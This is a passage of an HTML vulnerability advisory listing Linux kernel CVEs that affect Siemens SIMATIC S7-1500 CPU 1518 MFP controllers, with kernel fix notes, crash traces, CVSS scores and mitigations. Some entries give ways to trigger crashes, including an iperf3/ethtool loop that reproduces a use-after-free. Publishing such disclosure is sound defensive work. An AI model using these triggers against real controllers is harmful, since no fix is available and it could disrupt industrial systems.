<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/909.html">CWE-909 Missing Initialization of Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23293</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: vxlan: fix nd_tbl NULL dereference when IPv6 is disabled When booting with the 'ipv6.disable=1' parameter, the nd_tbl is never initialized because inet6_init() exits before ndisc_init() is called which initializes it. If an IPv6 packet is injected into the interface, route_shortcircuit() is called and a NULL pointer dereference happens on neigh_lookup(). BUG: kernel NULL pointer dereference, address: 0000000000000380 Oops: Oops: 0000 [#1] SMP NOPTI [...] RIP: 0010:neigh_lookup+0x20/0x270 [...] Call Trace: vxlan_xmit+0x638/0x1ef0 [vxlan] dev_hard_start_xmit+0x9e/0x2e0 __dev_queue_xmit+0xbee/0x14e0 packet_sendmsg+0x116f/0x1930 __sys_sendto+0x1f5/0x200 __x64_sys_sendto+0x24/0x30 do_syscall_64+0x12f/0x1590 entry_SYSCALL_64_after_hwframe+0x76/0x7e Fix this by adding an early check on route_shortcircuit() when protocol is ETH_P_IPV6. Note that ipv6_mod_enabled() cannot be used here because VXLAN can be built-in even when IPv6 is built as a module.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23293">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/824.html">CWE-824 Access of Uninitialized Pointer</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23300</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: ipv6: fix panic when IPv4 route references loopback IPv6 nexthop When a standalone IPv6 nexthop object is created with a loopback device (e.g., "ip -6 nexthop add id 100 dev lo"), fib6_nh_init() misclassifies it as a reject route. This is because nexthop objects have no destination prefix (fc_dst=::), causing fib6_is_reject() to match any loopback nexthop. The reject path skips fib_nh_common_init(), leaving nhc_pcpu_rth_output unallocated. If an IPv4 route later references this nexthop, __mkroute_output() dereferences NULL nhc_pcpu_rth_output and panics. Simplify the check in fib6_nh_init() to only match explicit reject routes (RTF_REJECT) instead of using fib6_is_reject(). The loopback promotion heuristic in fib6_is_reject() is handled separately by ip6_route_info_create_nh(). After this change, the three cases behave as follows: 1. Explicit reject route ("ip -6 route add unreachable 2001:db8::/64"): RTF_REJECT is set, enters reject path, skips fib_nh_common_init(). No behavior change. 2. Implicit loopback reject route ("ip -6 route add 2001:db8::/32 dev lo"): RTF_REJECT is not set, takes normal path, fib_nh_common_init() is called. ip6_route_info_create_nh() still promotes it to reject afterward. nhc_pcpu_rth_output is allocated but unused, which is harmless. 3. Standalone nexthop object ("ip -6 nexthop add id 100 dev lo"): RTF_REJECT is not set, takes normal path, fib_nh_common_init() is called. nhc_pcpu_rth_output is properly allocated, fixing the crash when IPv4 routes reference this nexthop.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23300">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/909.html">CWE-909 Missing Initialization of Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23304</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv6: fix NULL pointer deref in ip6_rt_get_dev_rcu() l3mdev_master_dev_rcu() can return NULL when the slave device is being un-slaved from a VRF. All other callers deal with this, but we lost the fallback to loopback in ip6_rt_pcpu_alloc() -&gt; ip6_rt_get_dev_rcu() with commit 4832c30d5458 ("net: ipv6: put host and anycast routes on device with address"). KASAN: null-ptr-deref in range [0x0000000000000108-0x000000000000010f] RIP: 0010:ip6_rt_pcpu_alloc (net/ipv6/route.c:1418) Call Trace: ip6_pol_route (net/ipv6/route.c:2318) fib6_rule_lookup (net/ipv6/fib6_rules.c:115) ip6_route_output_flags (net/ipv6/route.c:2607) vrf_process_v6_outbound (drivers/net/vrf.c:437) I was tempted to rework the un-slaving code to clear the flag first and insert synchronize_rcu() before we remove the upper. But looks like the explicit fallback to loopback_dev is an established pattern. And I guess avoiding the synchronize_rcu() is nice, too.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23304">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23319</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Fix a UAF issue in bpf_trampoline_link_cgroup_shim The root cause of this bug is that when 'bpf_link_put' reduces the refcount of 'shim_link-&gt;link.link' to zero, the resource is considered released but may still be referenced via 'tr-&gt;progs_hlist' in 'cgroup_shim_find'. The actual cleanup of 'tr-&gt;progs_hlist' in 'bpf_shim_tramp_link_release' is deferred. During this window, another process can cause a use-after-free via 'bpf_trampoline_link_cgroup_shim'. Based on Martin KaFai Lau's suggestions, I have created a simple patch. To fix this: Add an atomic non-zero check in 'bpf_trampoline_link_cgroup_shim'. Only increment the refcount if it is not already zero. Testing: I verified the fix by adding a delay in 'bpf_shim_tramp_link_release' to make the bug easier to trigger: static void bpf_shim_tramp_link_release(struct bpf_link *link) { /* ... */ if (!shim_link-&gt;trampoline) return; + msleep(100); WARN_ON_ONCE(bpf_trampoline_unlink_prog(&amp;shim_link-&gt;link, shim_link-&gt;trampoline, NULL)); bpf_trampoline_put(shim_link-&gt;trampoline); } Before the patch, running a PoC easily reproduced the crash(almost 100%) with a call trace similar to KaiyanM's report. After the patch, the bug no longer occurs even after millions of iterations.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23319">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23321</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: pm: in-kernel: always mark signal+subflow endp as used Syzkaller managed to find a combination of actions that was generating this warning: msk-&gt;pm.local_addr_used == 0 WARNING: net/mptcp/pm_kernel.c:1071 at __mark_subflow_endp_available net/mptcp/pm_kernel.c:1071 [inline], CPU#1: syz.2.17/961 WARNING: net/mptcp/pm_kernel.c:1071 at mptcp_nl_remove_subflow_and_signal_addr net/mptcp/pm_kernel.c:1103 [inline], CPU#1: syz.2.17/961 WARNING: net/mptcp/pm_kernel.c:1071 at mptcp_pm_nl_del_addr_doit+0x81d/0x8f0 net/mptcp/pm_kernel.c:1210, CPU#1: syz.2.17/961 Modules linked in: CPU: 1 UID: 0 PID: 961 Comm: syz.2.17 Not tainted 6.19.0-08368-gfafda3b4b06b #22 PREEMPT(full) Hardware name: QEMU Ubuntu 25.10 PC v2 (i440FX + PIIX, + 10.1 machine, 1996), BIOS 1.17.0-debian-1.17.0-1build1 04/01/2014 RIP: 0010:__mark_subflow_endp_available net/mptcp/pm_kernel.c:1071 [inline] RIP: 0010:mptcp_nl_remove_subflow_and_signal_addr net/mptcp/pm_kernel.c:1103 [inline] RIP: 0010:mptcp_pm_nl_del_addr_doit+0x81d/0x8f0 net/mptcp/pm_kernel.c:1210 Code: 89 c5 e8 46 30 6f fe e9 21 fd ff ff 49 83 ed 80 e8 38 30 6f fe 4c 89 ef be 03 00 00 00 e8 db 49 df fe eb ac e8 24 30 6f fe 90 &lt;0f&gt; 0b 90 e9 1d ff ff ff e8 16 30 6f fe eb 05 e8 0f 30 6f fe e8 9a RSP: 0018:ffffc90001663880 EFLAGS: 00010293 RAX: ffffffff82de1a6c RBX: 0000000000000000 RCX: ffff88800722b500 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffff8880158b22d0 R08: 0000000000010425 R09: ffffffffffffffff R10: ffffffff82de18ba R11: 0000000000000000 R12: ffff88800641a640 R13: ffff8880158b1880 R14: ffff88801ec3c900 R15: ffff88800641a650 FS: 00005555722c3500(0000) GS:ffff8880f909d000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f66346e0f60 CR3: 000000001607c000 CR4: 0000000000350ef0 Call Trace: genl_family_rcv_msg_doit+0x117/0x180 net/netlink/genetlink.c:1115 genl_family_rcv_msg net/netlink/genetlink.c:1195 [inline] genl_rcv_msg+0x3a8/0x3f0 net/netlink/genetlink.c:1210 netlink_rcv_skb+0x16d/0x240 net/netlink/af_netlink.c:2550 genl_rcv+0x28/0x40 net/netlink/genetlink.c:1219 netlink_unicast_kernel net/netlink/af_netlink.c:1318 [inline] netlink_unicast+0x3e9/0x4c0 net/netlink/af_netlink.c:1344 netlink_sendmsg+0x4aa/0x5b0 net/netlink/af_netlink.c:1894 sock_sendmsg_nosec net/socket.c:727 [inline] __sock_sendmsg+0xc9/0xf0 net/socket.c:742 ____sys_sendmsg+0x272/0x3b0 net/socket.c:2592 ___sys_sendmsg+0x2de/0x320 net/socket.c:2646 __sys_sendmsg net/socket.c:2678 [inline] __do_sys_sendmsg net/socket.c:2683 [inline] __se_sys_sendmsg net/socket.c:2681 [inline] __x64_sys_sendmsg+0x110/0x1a0 net/socket.c:2681 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0x143/0x440 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f66346f826d Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 &lt;48&gt; 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007ffc83d8bdc8 EFLAGS: 00000246 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 00007f6634985fa0 RCX: 00007f66346f826d RDX: 00000000040000b0 RSI: 0000200000000740 RDI: 0000000000000007 RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 00007f6634985fa8 R13: 00007f6634985fac R14: 0000000000000000 R15: 0000000000001770 The actions that caused that seem to be: - Set the MPTCP subflows limit to 0 - Create an MPTCP endpoint with both the 'signal' and 'subflow' flags - Create a new MPTCP connection from a different address: an ADD_ADDR linked to the MPTCP endpoint will be sent ('signal' flag), but no subflows is initiated ('subflow' flag) - Remove the MPTCP endpoint ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23321">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/911.html">CWE-911 Improper Update of Reference Count</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.3</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23335</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: RDMA/irdma: Fix kernel stack leak in irdma_create_user_ah() struct irdma_create_ah_resp { // 8 bytes, no padding __u32 ah_id; // offset 0 - SET (uresp.ah_id = ah-&gt;sc_ah.ah_info.ah_idx) __u8 rsvd[4]; // offset 4 - NEVER SET &lt;- LEAK }; rsvd[4]: 4 bytes of stack memory leaked unconditionally. Only ah_id is assigned before ib_respond_udata(). The reserved members of the structure were not zeroed.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23335">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/908.html">CWE-908 Use of Uninitialized Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.3</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23340</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: sched: avoid qdisc_reset_all_tx_gt() vs dequeue race for lockless qdiscs When shrinking the number of real tx queues, netif_set_real_num_tx_queues() calls qdisc_reset_all_tx_gt() to flush qdiscs for queues which will no longer be used. qdisc_reset_all_tx_gt() currently serializes qdisc_reset() with qdisc_lock(). However, for lockless qdiscs, the dequeue path is serialized by qdisc_run_begin/end() using qdisc-&gt;seqlock instead, so qdisc_reset() can run concurrently with __qdisc_run() and free skbs while they are still being dequeued, leading to UAF. This can easily be reproduced on e.g. virtio-net by imposing heavy traffic while frequently changing the number of queue pairs: iperf3 -ub0 -c $peer -t 0 &amp; while :; do ethtool -L eth0 combined 1 ethtool -L eth0 combined 2 done With KASAN enabled, this leads to reports like: BUG: KASAN: slab-use-after-free in __qdisc_run+0x133f/0x1760 ... Call Trace: ... __qdisc_run+0x133f/0x1760 __dev_queue_xmit+0x248f/0x3550 ip_finish_output2+0xa42/0x2110 ip_output+0x1a7/0x410 ip_send_skb+0x2e6/0x480 udp_send_skb+0xb0a/0x1590 udp_sendmsg+0x13c9/0x1fc0 ... Allocated by task 1270 on cpu 5 at 44.558414s: ... alloc_skb_with_frags+0x84/0x7c0 sock_alloc_send_pskb+0x69a/0x830 __ip_append_data+0x1b86/0x48c0 ip_make_skb+0x1e8/0x2b0 udp_sendmsg+0x13a6/0x1fc0 ... Freed by task 1306 on cpu 3 at 44.558445s: ... kmem_cache_free+0x117/0x5e0 pfifo_fast_reset+0x14d/0x580 qdisc_reset+0x9e/0x5f0 netif_set_real_num_tx_queues+0x303/0x840 virtnet_set_channels+0x1bf/0x260 [virtio_net] ethnl_set_channels+0x684/0xae0 ethnl_default_set_doit+0x31a/0x890 ... Serialize qdisc_reset_all_tx_gt() against the lockless dequeue path by taking qdisc-&gt;seqlock for TCQ_F_NOLOCK qdiscs, matching the serialization model already used by dev_reset_queue(). Additionally clear QDISC_STATE_NON_EMPTY after reset so the qdisc state reflects an empty queue, avoiding needless re-scheduling.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23340">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/364.html">CWE-364 Signal Handler Race Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
